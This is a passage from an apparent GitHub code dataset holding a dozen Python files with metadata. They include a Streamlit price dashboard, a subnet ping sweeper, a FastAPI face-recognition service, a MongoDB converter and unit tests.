directory until a file is reached. If file is newer than same\n file in the target directory then replaces target file with source version. If source doesn't exist in target\n directory then copies source file into target directory.\n :param replacement_text: replacement text to put into source path i.e /a/b//file\n :param text_to_replace: text that needs to be replaced in source path i.e /a/b//file\n :param working_dir: the source directory that contains the newest files.\n :return: copied file\n \"\"\"\n os.chdir(working_dir)\n for file in Path.cwd().iterdir():\n if file.is_file():\n try:\n p1, p2 = os.path.getmtime(Path(file.as_posix())), os.path.getmtime(Path(\n f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}').as_posix())\n if p1 > p2:\n shutil.copy(Path(file).as_posix(), Path(\n f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}'))\n print(f'{Path(file).name} replaced.')\n except:\n shutil.copy(Path(file).as_posix(), Path(\n f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}'))\n print(f'{Path(file).name} added.')\n else:\n copy_work(file, text_to_replace, replacement_text)\n\n","repo_name":"larymak/Python-project-Scripts","sub_path":"AUTOMATION/FileReplaceWithNewer/replace_with_newer.py","file_name":"replace_with_newer.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":929,"dataset":"github-code","pt":"77"} +{"seq_id":"38331748775","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport streamlit as st\nimport plotly.graph_objects as go\nfrom plotly import tools\nimport plotly.offline as py\nimport plotly.express as px\nimport cufflinks as cf\nfrom plotly.offline import plot\nimport chart_studio.plotly as py\n\n\n# In[2]:\n\n\ncf.go_offline()\n\n\n# In[3]:\n\n\ndf = pd.read_csv('../notebooks/summary.csv')\npc = pd.read_csv('../notebooks/pc_comp_scrap/pc.csv')\nworten = pd.read_csv('../notebooks/worten_scrap/worten.csv')\n\n\n# In[ ]:\n\n\n\n\n\n# In[4]:\n\n\nst.title(\"** :desktop_computer:** **TV Marketplace Price Evolution** **:desktop_computer:**\")\nst.header(\"This is an App created to visualize the price Evolution of Ultra HD 4K TVs in 2 Manufactures: LG and Samsung, in 2 different marketplaces: Pc Componentes and Worten.\")\nst.subheader(\"The Dashboards will show Price evolution since October 3rd.\")\n\n\n# In[5]:\n\n\nimage = ('/Users/juandediegosuanzes/desktop/Ironhack-Final-Project/streamlit/samsung_vs_lg_')\n\n\n# In[6]:\n\n\nst.image(image, width=None)\n\n\n# In[7]:\n\n\npc_ok = pc[['PC LG', 'PC SS']]\nworten_ok = worten[['Worten LG', 'Worten SS']]\ndf_ok = df[['PC LG', 'PC SS', 'Worten LG', 'Worten SS']]\n\n\n# In[8]:\n\n\nst.markdown(\"#### \" +\"Pc Componentes & Worten Price Evolution in LG and Samsung\")\n\n\n# In[9]:\n\n\nst.line_chart(data=df_ok, width=0, height=0, use_container_width=True)\n\n\n# In[10]:\n\n\nst.markdown(\"#### \" +\"Select the manufacturer and the marketplace you would like to see the metrics in detail\")\n\nselected_metrics = st.selectbox(\n label=\"Choose...\", options=['PC LG','PC SS','Worten LG','Worten SS']\n)\n\n\n# In[11]:\n\n\nfig = go.Figure()\nif selected_metrics == 'PC LG':\n\tfig.add_trace(go.Scatter(x=df.day, y=df['PC LG'],\n mode='lines+markers', name='PC LG'))\nif selected_metrics == 'PC SS':\n\tfig.add_trace(go.Scatter(x=df.day, y=df['PC SS'],\n\t mode='lines+markers', name='PC SS'))\nif selected_metrics == 'Worten LG':\n\tfig.add_trace(go.Scatter(x=df.day, y=df['Worten LG'],\n\t mode='lines+markers',name='Worten LG'))\nif selected_metrics == 'Worten SS':\n\tfig.add_trace(go.Scatter(x=df.day, y=df['Worten SS'],\n\t mode='lines+markers',name='Worten SS'))\nst.plotly_chart(fig, use_container_width=True)\n\n\n# In[12]:\n\n\nif st.checkbox('Show dataframe'):\n st.dataframe(df.style.highlight_max(axis=0))\n\n\n# In[13]:\n\n\nst.markdown(\"#### \" +\"Pc Componentes Price Evolution by Manufacturer\")\n\n\n# In[14]:\n\n\nimage_pc = ('/Users/juandediegosuanzes/desktop/Ironhack-Final-Project/streamlit/PcComponentes.png')\n\n\n# In[15]:\n\n\nst.image(image_pc, width=None)\n\n\n# In[16]:\n\n\nst.area_chart(data=pc_ok, width=0, height=0, use_container_width=True)\n\n\n# In[17]:\n\n\nif st.checkbox('Show PC Componentes dataframe'):\n st.dataframe(pc.style.highlight_max(axis=0))\n\n\n# In[18]:\n\n\nst.markdown(\"#### \" +\"Worten Price Evolution by Manufacturer\")\n\n\n# In[19]:\n\n\nimage_worten = ('/Users/juandediegosuanzes/desktop/Ironhack-Final-Project/streamlit/worten_im.webp')\n\n\n# In[20]:\n\n\nst.image(image_worten, width=None)\n\n\n# In[21]:\n\n\nst.area_chart(data=worten_ok, width=0, height=0, use_container_width=True)\n\n\n# In[22]:\n\n\nif st.checkbox('Show Worten dataframe'):\n st.dataframe(worten.style.highlight_max(axis=0))\n\n\n# In[23]:\n\n\n#st.title(\"** :champagne:** **¡¡GRACIAS A TODOS!!: Lead Teachers, TA y enhorabuena compañeros!!** **:champagne:**\")\n\n\n# In[24]:\n\n\n#video_file = open('/Users/juandediegosuanzes/desktop/video.mp4', 'rb')\n#video_bytes = video_file.read()\n#st.video(video_bytes)\n\n\n# In[25]:\n\n\n#audio_file = open('/Users/juandediegosuanzes/desktop/champ.mp3', 'rb')\n#audio_bytes = audio_file.read()\n#st.audio(audio_bytes, format='audio/ogg', start_time=34)\n\n\n# In[26]:\n\n\n#fig = df.iplot(kind='box', \n# histnorm='percent', \n # xTitle='October Scraping', \n # yTitle='Price €', \n # title='Summary Price by Brand and Marketplace',\n # subplots=True)\n\n#st.pyplot(fig)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"juanema74/Ironhack-Final-Project","sub_path":"streamlit/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27620432502","text":"import os\nimport cv2\nfrom pairs import Pairs\nfrom hog import getHog\nfrom contrast import getImageContrast\nfrom classes import class_filter\nfrom filters import calculateMetricsForImages\nfrom show import showContinuously, showFromClassContinuously\nfrom Report import Report\nimport argparse\nfrom dataset_specific_api import getDatasetSpecificApi\n\n# parsing command line args\n\nparser = argparse.ArgumentParser(description='Calculate objects metrics')\nparser.add_argument('--dataset', type=str,\n help='dataset name', default=None)\nparser.add_argument('--api', type=str,\n help='dataset specific api name', default=None)\nparser.add_argument('--threads', type=str,\n help='threads number', default='1')\nparser.add_argument('--overwrite', type=str,\n help='overwrite existing pairs or not', default='0')\nparser.add_argument('--continue_calc', type=str,\n help='continue first calculatinon', default='1')\nparser.add_argument('--metrics_file', type=str,\n help='metrics file name (without extension! must be in observer\\'s folder)', default='default_metrics')\nargs = parser.parse_args()\n\ndataset_name = args.dataset\ndataset_specific_api_name = args.api or dataset_name\nthreads = int(args.threads)\noverwrite = int(args.overwrite)\ncontinue_calc = int(args.continue_calc)\nmetrics_file_path = args.metrics_file\n\n# importing metrics\nmetrics = __import__(metrics_file_path).metrics\n\n# creating report object\nreport_file_path = 'report_' + dataset_name + '.json'\nif overwrite or (not os.path.exists(report_file_path)):\n\treport = Report(report_file_path)\n\n# geting dataset specific api\ndataset_specific_api = getDatasetSpecificApi(dataset_specific_api_name)\n\n# geting pairs from directory\ndirectory = 'pairs_' + dataset_name + '_new'\nif overwrite or (not os.path.exists(directory)) or continue_calc:\n\tdirectory = directory.replace('_new', '')\npairs = Pairs(directory, get_classes_function=dataset_specific_api.getClasses)\n\n\n\n# using this function you can see and list (press q) images with from class\n# showFromClassContinuously(pairs, 'Unknown', dataset_specific_api.getClasses)\n\n\n\n# counting objects in classes\nif overwrite or (not os.path.exists(report_file_path)):\n\tobjects_number_by_class = pairs.countObjectsInClasses()\n\treport.write('objects number by class', objects_number_by_class)\n\n\n\n# counting videos in classes\n# videos_number_by_class = countVideosInClasses(pairs, dataset_specific_api.getClasses)\n# report.write('videos number by class', videos_number_by_class)\n\n# available metrics\n\n\n# calculating metrics\nnew_pairs_folder_path = 'pairs_' + dataset_name + '_new'\ncalculateMetricsForImages(pairs, metrics, new_pairs_folder_path, threads=threads, overwrite=overwrite)\n# if overwrite:\n# \tpairs.dumpClasses(os.path.normcase(new_pairs_folder_path + '/' + 'classes_list.json'))","repo_name":"MentalBlood/observer","sub_path":"get_metrics.py","file_name":"get_metrics.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"30907857249","text":"\n\"\"\"\nmake model tutorial\n\"\"\"\n\nimport tensorflow as tf\nimport tensorflow.keras as keras\n\ndef make_model() -> keras.Model:\n x0 = keras.layers.Input(shape=(28, 28, 3))\n x = keras.layers.Conv2D(32, 3, activation='relu')(x0)\n x = keras.layers.Conv2D(64, 3, activation='relu')(x)\n x = keras.layers.Flatten()(x)\n x = keras.layers.Dense(128, activation='relu')(x)\n x = keras.layers.Dense(10, activation='softmax')(x)\n model = keras.Model(inputs=(x0), outputs=(x))\n return model\n\nif __name__ == \"__main__\":\n model = make_model()\n model.summary()\n","repo_name":"torigara603/tensorflowtips","sub_path":"tips/tutorials/N03_SaveModel/make_model.py","file_name":"make_model.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22282641293","text":"# Python code to find the co-ordinates of\n# the contours detected in an image.\nimport cv2\n\n\ndef parse_image(image: str):\n # file_path: str = \"./xray_file.png\"\n # Reading image\n font = cv2.FONT_HERSHEY_COMPLEX\n img2 = cv2.imread(image, cv2.IMREAD_COLOR)\n\n # Reading same image in another\n # variable and converting to gray scale.\n img = cv2.imread(image, cv2.IMREAD_GRAYSCALE)\n # edged = cv2.Canny(img, 20, 300)\n\n # Converting image to a binary image\n # ( black and white only image).\n _, threshold = cv2.threshold(img, 200, 455, cv2.THRESH_BINARY)\n\n # Detecting contours in image.\n # contours, _ = cv2.findContours(threshold, cv2.RETR_TREE,\n # cv2.CHAIN_APPROX_SIMPLE)\n contours, hierarchy = cv2.findContours(threshold, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n # Going through every contours found in the image.\n for cnt in contours:\n\n approx = cv2.approxPolyDP(cnt, 0.020 * cv2.arcLength(cnt, True), True)\n\n # draws boundary of contours.\n # cv2.drawContours(img2, 0, (0, 0, 255), 5)\n # cv2.drawContours(img2, contours, -1, (10, 355, 100), 3)\n cv2.drawContours(img2, contours, 0, (0,255, 0), 3)\n\n # Used to flatten the array containing\n # the co-ordinates of the vertices.\n values = approx.ravel()\n i = 0\n\n for _ in values:\n if i % 2 == 0:\n x = values[i]\n y = values[i + 1]\n\n # String containing the co-ordinates.\n string = f\"{str(x)} {str(y)}\"\n\n if i != 0:\n # text on remaining co-ordinates.\n cv2.putText(img2, string, (x, y), font, 0.5, (0, 255, 0))\n i = i + 1\n\n # Saving the image\n cv2.imwrite(\"./output_image/image.jpg\", img2)\n\n","repo_name":"Nakul21/fastapiImage","sub_path":"process_image.py","file_name":"process_image.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"815965119","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nfrom pymongo import MongoClient\n\n\nclass Spot:\n collection_old = 'latestattractions'\n\n collection_new = 'spot'\n\n params_map = {}\n\n def __init__(self):\n pass\n\n @staticmethod\n def create_spot(address_old, port_old, address_new, port_new, collection_old, collection_new,\n params_map):\n\n # old database connection\n client = MongoClient(address_old, port_old)\n travel1 = client.travel1\n\n # new database connection\n client = MongoClient(address_new, port_new)\n travel2 = client.travel2\n\n # get old collection and create new collection\n db_old = travel1[collection_old]\n db_new = travel2[collection_new]\n\n # clean former data\n db_new.remove()\n\n # 临时数组\n temp = [''] * len(params_map.keys())\n\n # 判断当前文档是否含有某个字段,若有则取出后赋值给临时数组,否则为 None\n for document in db_old.find():\n for i in range(len(params_map.keys())):\n if params_map.keys()[i] in document:\n temp[i] = document[params_map.keys()[i]]\n\n image_url = 'http://weegotest.b0.upaiyun.com/attractions/iosimgs/'\n post = {}\n\n if 'spot' in document:\n spot = document['spot']\n if spot is not None:\n for i in range(len(spot)):\n if 'cover_image' in spot[i]:\n if spot[i]['cover_image'] != '':\n cover_image = image_url + spot[i]['cover_image']\n if 'title' in spot[i]:\n title = spot[i]['title']\n if 'desc' in spot[i]:\n desc = spot[i]['desc']\n if 'advice' in spot[i]:\n advice = spot[i]['advice']\n \n num = db_new.find({'cover_image': cover_image, 'title': title,\n 'desc': desc, 'advice': advice}).count() \n if num > 1:\n print('重复项')\n print(document['_id'])\n else:\n temp_spot = {}\n temp_spot.update({'cover_image': cover_image, 'title': title,\n 'desc': desc, 'advice': advice, 'tag': ''})\n db_new.insert(temp_spot)\n print(temp_spot)\n","repo_name":"hezhensong/MongoConvertor","sub_path":"mongodb/Spot.py","file_name":"Spot.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36978017098","text":"import argparse\nimport time\nimport csv\nimport socket\nimport os, shutil\nfrom datetime import timedelta\nfrom multiprocessing import Process, Manager, Value, Lock\nfrom subprocess import Popen, PIPE, TimeoutExpired\nfrom ipaddress import ip_network\nfrom datetime import datetime\n\n\nclass Counter(object):\n def __init__(self, initval=0):\n self.val = Value('i', initval)\n self.lock = Lock()\n\n def increment(self):\n with self.lock:\n self.val.value += 1\n\n def value(self):\n with self.lock:\n return self.val.value\n\n\ndef generate_args():\n \"\"\" Create main parser \"\"\"\n parser = argparse.ArgumentParser(prog='ping.py')\n # Create global arguments\n parser.add_argument('--hosts', dest='hosts', type =str, help=\"Specify network to ping using CIDR notation.\"\n \"Example: 10.0.0.0/24\",\n required=True)\n args = parser.parse_args()\n return args\n\ndef subnet_ping(ip, counter, ip_results):\n \"\"\" Run ping subprocess and keep track of ping result\n Append results to a list of dictionaries \"\"\"\n # Linux/mac\n if os.name == 'posix':\n sub_p = Popen(['ping', '-c', '4', str(ip)], stdout=PIPE, stderr=PIPE, stdin=PIPE)\n # Windows\n elif os.name == 'nt':\n sub_p = Popen(['ping', '-n', '4', str(ip)], stdout=PIPE, stderr=PIPE, stdin=PIPE)\n # grab output and errors from subprocess\n # sleep a bit (mainly for windows because ping return output is rather slow\n # FIX THIS - use more elegant way of checking if output is finished\n time.sleep(10)\n try:\n output, errors = sub_p.communicate(timeout=15)\n except TimeoutExpired:\n sub_p.kill()\n output, errors = sub_p.communicate()\n # differences in output of poxis vs nt\n if os.name == 'posix':\n # if you don't see 0 packets in the output, then you must have received packets from the host\n if not '0 packets received' in str(output):\n #print(ip, 'is up!', \"\\n\")\n log_out = \"{} is up! \\n\".format(ip)\n log_file(log_out)\n counter.increment()\n ip_results.append({'ip': ip, 'status': 'up'})\n else:\n #print(ip, \"is down or can't be pinged!\", \"\\n\")\n log_out = \"{} is down or can't be pinged! \\n\".format(ip)\n log_file(log_out)\n ip_results.append({'ip': ip, 'status': 'down'})\n elif os.name == 'nt':\n if not 'Received = 0' in str(output):\n #print(ip, 'is up!', \"\\n\")\n log_out = \"{} is up! \\n\".format(ip)\n log_file(log_out)\n counter.increment()\n ip_results.append({'ip': ip, 'status': 'up'})\n else:\n #print(ip, \"is down or can't be pinged!\", \"\\n\")\n log_out = \"{} is down or can't be pinged! \\n\".format(ip)\n log_file(log_out)\n ip_results.append({'ip': ip, 'status': 'down'})\n\ndef log_file(info):\n \"\"\" Write to a log file \"\"\"\n ## FIX - Windows seems to have a problem using the global reference log_filename ##\n with open('ping_log.txt', 'a+') as f:\n f.write(str(info))\n\ndef export_hosts_to_csv(hosts):\n with open('ping_results.csv', 'w+', newline='') as csvfile:\n fieldnames = ['ip', 'status']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for host in hosts:\n writer.writerow({'ip': host['ip'], 'status': host['status']})\n\n\n\nif __name__ == '__main__':\n start_time = time.time()\n args = generate_args()\n # use manager for sharing the list between processes\n manager = Manager()\n ip_results = manager.list()\n # Mac limits resources by default - this sets the number of open files from default 256 to 10240\n # for this parent process and all subs. Don't think this is a Linux problem, but this sets it\n # for all posix compliant machines \n if os.name == 'posix':\n import resource\n resource.setrlimit(resource.RLIMIT_NOFILE, (10240, 10240))\n hosts = args.hosts\n # shared counter for all processes to have access to increment\n counter = Counter(0)\n dt = datetime.now()\n log_filename = \"ping_log.txt\"\n archive_log_filename = \"ping_log_{}_{}_{}_{}_{}_{}.txt\".format(dt.month, dt.day, dt.year, dt.hour,\n dt.minute, dt.second,)\n archive_logfile_path = \"Archive/{}\".format(archive_log_filename)\n # remove old log file if it exists, create new archive folder if one doesn't exist, move old to archive\n if not os.path.exists('Archive'):\n os.mkdir('Archive')\n if os.path.exists(log_filename):\n os.rename(log_filename, archive_log_filename)\n shutil.move(archive_log_filename, archive_logfile_path)\n\n # build ips\n hosts = list(ip_network(hosts).hosts())\n hosts = [str(host) for host in hosts]\n # grab total number of hosts within the subnet to ping (length of list)\n total_hosts = len(hosts)\n # create process queue for each ip to be pinged. Prob need to look into better management of this\n processes = []\n workers = [0 for x in range(100)]\n # increment on index of ip_addr because a list is returned\n idx = 0\n # grab number of IPs - later count down to 0\n hosts_len = len(hosts)\n try:\n while hosts_len > 0:\n if 0 not in workers:\n workers = [0 for x in range(100)]\n for w in range(len(workers)):\n p = Process(target=subnet_ping, args=(hosts[idx], counter, ip_results))\n # start the process\n p.start()\n # add to list of workers available to run processes\n processes.append(p)\n workers.remove(0)\n idx += 1\n hosts_len -= 1\n # calling process blocked until process who's join method is called terminates.\n # used more or less for queuing. If join is not used all processes join immediately\n # you can also specify an optional timeout in case waiting is too long\n for p in processes:\n p.join()\n except IndexError:\n pass\n\n # continually check if process is still alive, when done provide results\n process_running = True\n while process_running:\n if not processes[-1].is_alive():\n print(\"--> {} of {} hosts could be pinged.\".format(counter.value(), total_hosts))\n host_result_summary = \"\\n{} of {} hosts could be pinged.\".format(counter.value(), total_hosts)\n datetime_completed = \"\\nCompleted on {}/{}/{} @ {}:{}:{}\".format(dt.month,dt.day, dt.year,dt.hour,\n dt.minute, dt.second)\n log_file(host_result_summary)\n log_file(datetime_completed)\n # sort the results from first ip to last by using socket's builtin inet_aton\n ip_results = sorted(ip_results, key=lambda host: socket.inet_aton(host['ip']))\n export_hosts_to_csv(ip_results)\n process_running = False\n else:\n continue\n end_time = time.time() - start_time\n end_time = str(timedelta(seconds=end_time))\n print(\"--> Process running time: {} (Hours:Minutes:Seconds.Microseconds)\".format(end_time))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"kirbocannon/network_tools","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":7360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8736132165","text":"import logging\nimport threading\nimport time\n\nfrom peregrine_mail.data.models import Email\nfrom peregrine_mail.data.database import db\nfrom peregrine_mail.sending_emails import send_email, find_mail_to_send, find_mail_to_delete\n\nlogger = logging.getLogger('peregrine')\n\n\nclass Threading:\n \"\"\"Run emails in the background\"\"\"\n\n def __init__(self, email_queue, app, sleep_time=10):\n self.app = app\n self.email_queue = email_queue\n self.sleep_time = sleep_time\n thread = threading.Thread(target=self.send_emails)\n thread.daemon = True\n thread.start()\n\n def send_emails(self):\n db.app = self.app\n\n while True:\n # Send NEW emails\n try:\n self.sending_emails_from_queue()\n except Exception as err:\n logger.exception(f'Unexpected error while sending new mail: {err}')\n\n emails = db.session.query(Email).all()\n\n # Resend FAILED emails\n try:\n for email in find_mail_to_send(self.app, emails):\n send_email(self.app, **email)\n except Exception as err:\n logger.exception(f'Unexpected error while finding failed mail to send: {err}')\n\n # Delete old emails\n try:\n find_mail_to_delete(self.app, emails)\n except Exception as err:\n logger.exception(f'Unexpected error while executing retention policy deletion: {err}')\n\n time.sleep(self.sleep_time)\n\n def sending_emails_from_queue(self):\n while not self.email_queue.empty():\n send_email(self.app, **self.email_queue.get())\n","repo_name":"beautiousmax/peregrine_mail","sub_path":"peregrine_mail/background_thread.py","file_name":"background_thread.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25198082124","text":"import adafruit_dht\nimport board\nimport time\n\nimport RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(10, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(17, GPIO.OUT)\n\ndht_pin = board.D4\ndht_sensor = adafruit_dht.DHT11(dht_pin, use_pulseio=False)\n\ndef callback_func(*args):\n print(\"Button was pushed!\")\n while True:\n try:\n GPIO.output( 17, GPIO.HIGH )\n temp_c = dht_sensor.temperature\n temp_f = temp_c * (9 / 5) + 32\n hum = dht_sensor.humidity\n print(\"Temperature =\", temp_c, 'C,', temp_f, 'F')\n print(\"Humidity =\", hum, '%')\n time.sleep( 0.5 )\n GPIO.output( 17, GPIO.LOW )\n break\n except:\n print('error reading, trying again...')\n continue\n\nGPIO.add_event_detect(10, edge=GPIO.FALLING, callback=callback_func, bouncetime=200)\n\ninput(\"press enter 2 quit\\n\") # block program from exiting\n\n\n\n\n\n","repo_name":"ucsd-ece196/ucsd-ece196.github.io","sub_path":"examples/pi/combo.py","file_name":"combo.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"20496960003","text":"import pickle\nfrom typing import List\nfrom fastapi import FastAPI, File, Form, UploadFile\nfrom starlette.middleware.cors import CORSMiddleware\nimport io\nimport face_recognition\nimport numpy as np\nfrom fastapi.encoders import jsonable_encoder\nfrom PIL import Image, ImageDraw\nimport cv2\nfrom Encode_face import EncodeFace\n\n#encode available image on start server\nEncodeFace().load_encoding_images(\"./images\")\n\napp = FastAPI()\napp.add_middleware(\n CORSMiddleware, allow_origins=[\"*\"], allow_methods=[\"*\"], allow_headers=[\"*\"]\n)\n\n@app.post(\"/api/Identify\")\nasync def faces_recognition(image_upload: UploadFile = File(...)):\n data = await image_upload.read()\n known_face_names =[]\n known_face_encodings=[]\n \n image = face_recognition.load_image_file(io.BytesIO(data))\n #img = Image.open(io.BytesIO(data))\n #draw = ImageDraw.Draw(img)\n\n \n\n with open('know_face_names.p','rb') as f:\n while 1:\n try:\n known_face_names.append(pickle.load(f))\n except EOFError:\n break\n with open('know_face_encodes.p','rb') as f:\n while 1:\n try:\n known_face_encodings.append(pickle.load(f))\n except EOFError:\n break\n #print(known_face_names)\n\n # Detect face(s) and encode them\n face_locations = face_recognition.face_locations(image)\n face_encodings = face_recognition.face_encodings(image, face_locations)\n\n \n face_names = []\n face_loc=[]\n\n # Recognize face(s)\n for face_encoding, face_location in zip(face_encodings, face_locations):\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding,tolerance=0.4)\n face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)\n #print(face_distances)\n best_match_index = np.argmin(face_distances)\n #print(best_match_index)\n if matches[best_match_index]: \n name = known_face_names[best_match_index]\n else:\n name = \"Unknown\"\n #top, right, bottom, left = face_location\n #draw.rectangle([left, top, right, bottom],width = 4)\n #draw.text((left, top), name)\n face_names.append(name)\n face_loc.append(face_location)\n #img.show()\n return {\"Face name \": face_names,\"Face location \": face_loc}\n\n\n\n@app.post(\"/api/AddImg\")\nasync def faces_recognition(image_upload: UploadFile = File(...),name :str =Form()):\n data = await image_upload.read()\n img = Image.open(io.BytesIO(data))\n img.save(\"./images/{}.png\".format(name))\n image = face_recognition.load_image_file(io.BytesIO(data))\n face_locations = face_recognition.face_locations(image)\n face_encodings = face_recognition.face_encodings(image, face_locations)[0]\n \n with open('know_face_names.p','ab') as f:\n pickle.dump((name), f)\n with open('know_face_encodes.p','ab') as f:\n pickle.dump((face_encodings), f)\n\n return {\"message\" : \"add success\"}\n\n\n\n@app.post(\"/api/AddMultiImg\")\nasync def create_upload_files(files: List[UploadFile],name :str=Form()):\n for data in files:\n data = await data.read()\n image = face_recognition.load_image_file(io.BytesIO(data))\n face_locations = face_recognition.face_locations(image)\n face_encodings = face_recognition.face_encodings(image, face_locations)[0]\n with open('know_face_names.p','ab') as f:\n pickle.dump((name), f)\n with open('know_face_encodes.p','ab') as f:\n pickle.dump((face_encodings), f)\n \n return {\"message\":\"add success\"}\n\n\n\n\n\n","repo_name":"numan9199/face-ocr","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29484266259","text":"class Twitter:\n def __init__(self):\n self.trending_topics = []\n\n def tweet(self, mensaje):\n if len(mensaje) > 140:\n print(\"El mensaje excede el límite de 140 caracteres.\")\n return\n\n hashtags = self.obtener_hashtags(mensaje)\n self.actualizar_trending_topics(hashtags)\n\n def obtener_hashtags(self, mensaje):\n palabras = mensaje.split()\n hashtags = [palabra[1:] for palabra in palabras if palabra.startswith(\"#\")]\n return hashtags\n\n def actualizar_trending_topics(self, hashtags):\n for hashtag in hashtags:\n encontrado = False\n for i, trending_topic in enumerate(self.trending_topics):\n if hashtag == trending_topic[0]:\n self.trending_topics[i] = (hashtag, trending_topic[1] + 1)\n encontrado = True\n break\n if not encontrado:\n self.trending_topics.append((hashtag, 1))\n \n self.trending_topics.sort(key=lambda x: x[1], reverse=True)\n self.trending_topics = self.trending_topics[:3]\n\n\n# Ejemplo de uso\ntwitter = Twitter()\n\n# Primer tweet\ntwitter.tweet(\"Hola, estoy probando mi prototipo de Twitter. #twitter #prototipo #prueba\")\nprint(twitter.trending_topics) # [('twitter', 1), ('prototipo', 1), ('prueba', 1)]\n\n# Segundo tweet\ntwitter.tweet(\"Me encanta el desarrollo web. #web #desarrollo #programación\")\nprint(twitter.trending_topics) # [('web', 1), ('desarrollo', 1), ('programación', 1)]\n\n# Tercer tweet\ntwitter.tweet(\"Hoy es un día soleado. #clima #sol #verano\")\nprint(twitter.trending_topics) # [('sol', 2), ('web', 1), ('desarrollo', 1)]\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema9_ej1/tema9_ej1_db6ce14501fafe028282235b78618db2.py","file_name":"tema9_ej1_db6ce14501fafe028282235b78618db2.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8117935151","text":"\"\"\"Tests for helper functions.\"\"\"\n\nimport rudra.utils.helper as helper\nimport requests\nimport pytest\n\n\ndef test_get_github_repo_info():\n gh_repo1 = 'https://github.com/fabric8-analytics/f8a-hpf-insights'\n gh_repo2 = 'https://github.com/fabric8-analytics/f8a-hpf-insights.git'\n gh_repo3 = 'git+https://github.com/fabric8-analytics/f8a-hpf-insights'\n gh_repo4 = 'fabric8-analytics/f8a-hpf-insights'\n user, repo = helper.get_github_repo_info(gh_repo1)\n assert user == 'fabric8-analytics' and repo == 'f8a-hpf-insights'\n user, repo = helper.get_github_repo_info(gh_repo2)\n assert user == 'fabric8-analytics' and repo == 'f8a-hpf-insights'\n user, repo = helper.get_github_repo_info(gh_repo3)\n assert user == 'fabric8-analytics' and repo == 'f8a-hpf-insights'\n user, repo = helper.get_github_repo_info(gh_repo4)\n assert user == 'fabric8-analytics' and repo == 'f8a-hpf-insights'\n\n\ndef test_get_training_file_url():\n user = 'fabric8-analytics'\n repo = 'f8a-hpf-insights'\n file_url = helper.get_training_file_url(user, repo)\n resp = requests.get(file_url)\n assert resp.status_code == 200\n\n file_url = helper.get_training_file_url(user, repo, branch='training-code')\n resp = requests.get(file_url)\n assert resp.status_code == 200\n\n file_url = helper.get_training_file_url(\n user, repo, training_file_path='src/flask_endpoint.py')\n resp = requests.get(file_url)\n assert resp.status_code == 200\n\n\ndef test_load_hyper_params():\n # mock command line args\n helper.argv = ['helper.py', '{\"a\": 111, \"b\": \"some text\"}']\n hyper_params = helper.load_hyper_params()\n assert hyper_params.get('a') == 111\n assert hyper_params.get('b') == \"some text\"\n\n\ndef test_cache_dict_with_zero_max_size():\n cache_dict = helper.CacheDict(0)\n with pytest.raises(KeyError):\n cache_dict['key1'] = 'value1'\n assert len(cache_dict) == 0\n\n\ndef test_cache_dict_with_one_max_size():\n cache_dict = helper.CacheDict(1)\n cache_dict['key1'] = 'value1'\n cache_dict['key2'] = 'value2'\n assert len(cache_dict) == 1\n assert 'key2' in cache_dict\n assert 'key1' not in cache_dict\n\n\ndef test_cache_dict():\n # default max_len = 1024\n cache_dict = helper.CacheDict()\n for i in range(2000):\n cache_dict[i] = i * i\n assert len(cache_dict) == cache_dict.max_len\n assert cache_dict[i] == i * i\n del cache_dict[i]\n assert len(cache_dict) == cache_dict.max_len - 1\n assert cache_dict[cache_dict.max_len - 2] == pow(cache_dict.max_len - 2, 2)\n assert len(list(cache_dict)) == cache_dict.max_len - 1\n assert str(cache_dict.max_len - 2) in str(cache_dict)\n","repo_name":"fabric8-analytics/fabric8-analytics-rudra","sub_path":"tests/utils/test_helper.py","file_name":"test_helper.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"30866850939","text":"#! /usr/bin/env python3\r\n#\r\ndef 